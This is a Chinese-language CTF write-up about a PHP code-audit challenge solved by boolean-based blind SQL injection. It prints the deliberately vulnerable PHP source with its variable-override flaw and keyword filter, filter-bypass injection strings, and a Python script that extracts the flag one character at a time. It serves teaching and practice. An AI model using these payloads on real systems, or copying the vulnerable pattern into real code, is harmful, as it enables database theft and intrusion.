文章难易度【★★★】
文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧
文章作者: 0h1in9e
本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言
笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码审计类的题目。具体地来说是关于一道SQL盲注类的题目。做了这道题之后,对SQL盲注有了更深入的了解,今天给大家分享下这道CTF题目以及解法,以及透过这个题目聊聊盲注。
0x02关于CTF题目
打开题目链接,如下图所示。
从图中可以看出,一个表单,没有其他的东西。到这里,一般CTF套路是源码泄露,这里猜测也是。利用扫描脚本扫描到泄露文件为/index.php~
从而get到index.php 文件源代码如下:
[PHP] 纯文本查看 复制代码<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
$link=@mysql_connect("XXXX","XXXX","XXXX");
mysql_select_db("XXXX",$link);
$sql="select * from user where userid = ".$userid;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$arr = mysql_fetch_array($query);
if($arr['password'] == $password) {
$sql="select * from info where infoid=".$infoid;
$result=mysql_query($sql);
$arr = mysql_fetch_array($result);
if(empty($arr['content'])){
echo "error sql!";
}else{
echo $arr['content'];
}
}else{
echo "error password!";
}
}else{
echo "error userid!";
}
mysql_close($link);
}else{
echo "Bad token!";
}
?>
web-testUser ID:
Password:
从这里看出,其实就是一道代码审计题目。由于官方题目在比赛结束后就直接关闭了,这里我根据出题人思路在本地搭建一个环境。
0x03 本地题目环境搭建
PHP代码给出来了,只需要修改相应的MySQL连接的地方即可。问题就是数据库需要自己来创建。当时我的解法是通过SQL盲注得到数据库里边flag表中flag字段里的flag值,再根据PHP代码中的相关SQL语句可以知道,数据库中需要有user、info表。
从上述分析来看,就是本地MySQL中创建一个数据库DB,然后向其中加入三个数据表,分别是flag、info、user。
创建SQL语句如下:
[SQL] 纯文本查看 复制代码create DATABASE ctf_01;
use ctf_01;
/* 创建flag表 */
create TABLE flag(
flag varchar(255) not null
);
insert into flag values('flag{XXXX}');
/* 创建info表 */
create TABLE info(
infoid int primary key not null,
content varchar(255) not null
);
insert into info (infoid, content) values(1,'flag is in flag!');
/* 创建user表 */
create TABLE user(
userid int primary key not null,
username varchar(255) not null,
password varchar(255) not null
);
insert info user values(1,'ctf','219d03ad2d752ad2806ea1de18613158');执行以上SQL语句,即可成功创建本地所需的SQL。如下图所示:
数据库搭建好了,接下来就是部署PHP代码了。这里直接修改mysql链接部分即可。
本地题目搭建成功,接下来就可以来怼本地了。
0x04 解题思路中的盲注技巧
从PHP代码中看出,首先最上边这一部分是一个类似过滤的部分:
[PHP] 纯文本查看 复制代码foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
常见的SQL注入关键字都被过滤掉了,这里的benchmark、sleep的过滤表示我们不能使用基于时间的SQL盲注了。
下边if开始的部分就是这段代码的关键了。
从图一的“Bad token”,只有$token=md5('admin')才可以。但是明显地变量并不相等。这里注意到这一句:parse_str($_SERVER['QUERY_STRING']);
表示可以直接传递任意变量。这样我们构造链接为:
/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=
此时,返回“error password!“。可知userid=1的字段是存在的,userid=0等时返回“error userid!”。
从而可以假设,userid=1为真,0为假。这里就用到了SQL盲注的思路。
我们把userid=1改为userid=0 or 1,空格会触发过滤机制,这里用注释代替即可绕过。
从而为:userid=0/**/or/**/1
为了能使用SQL盲注,我们利用MySQL子查询的特性,将1用一个子查询代替,查询到正确即返回1,错误返回0,从而根据不同的返回来进行盲注。
同时为了规避过滤的关键字,用到一个SQL语法:substr('password' from 1 for 1)='p'
同样地,为了规避过滤中的(')逗号,采用ascii的形式来改写以上语句: ascii('password' from 1 for 1)=112
到这里就有两种方案了:
一种是先利用SQL盲注注入出password字段内容,从而进一步看看info表中content字段内容,利用infoid字段继续盲注到flag表中的flag。这里我们知道那里没有flag,但是真实比赛场景下不知道啊,所以我们比赛时采用的这种方案。
另外一种就是直接利用userid字段的注入直接注入出flag。
思路已经很明确了,接下来就是编写脚本了。
首先,需要确定flag内容长度:
/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=0/**/or/**/length((select/**/flag/**/from/**/flag))=29
下面直接给出脚本吧:
[Python] 纯文本查看 复制代码import requests
payload = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}-'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate"
}
num = 12
strings = ''
for x in range(1,29):
for y in payload:
#strings = strings + y
url = "http://ctf.sb/2/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" % (x,ord(y))
try:
response = requests.get(url,headers=headers,timeout=5,verify=False)
if response.content.find('flag is in flag!') != -1:#
strings = strings + y
print strings
num -= 1
break
except Exception,e:
pass
print 'flag: ',
print strings
脚本执行结果如下图所示:
从而通过sql盲注方法解决这道ctf题目。
0x05 SQL盲注简单归纳
相对于SQL注入,盲注条件更为苛刻。往往需要通过页面的不同响应(包括响应不同内容、不同响应时间)。所以常常就有几种盲注方式:
(1) boolean-based blind(基于布尔的盲注)
(2) time-based blind (基于时间的盲注)
(3) error-based (报错注入)
上述的CTF题目中,SQL注入就属于第一种情况,基于布尔的盲注。根据页面返回不同内容来注入SQL,从而获取我们所需要的信息。此外,基于时间的盲注手段,以及种类众多的盲注手法都是平时渗透测试中经常用到的,现在很多CTF代码审计题也很喜欢考些有些绕的SQL注入题目。
0x06 小结
本篇文章主要从一道关于盲注的CTF题目来实际地看看SQL盲注的应用思路。
当然,一篇文章不可能面面俱到,下面几篇文章都写的不错,推荐去看看: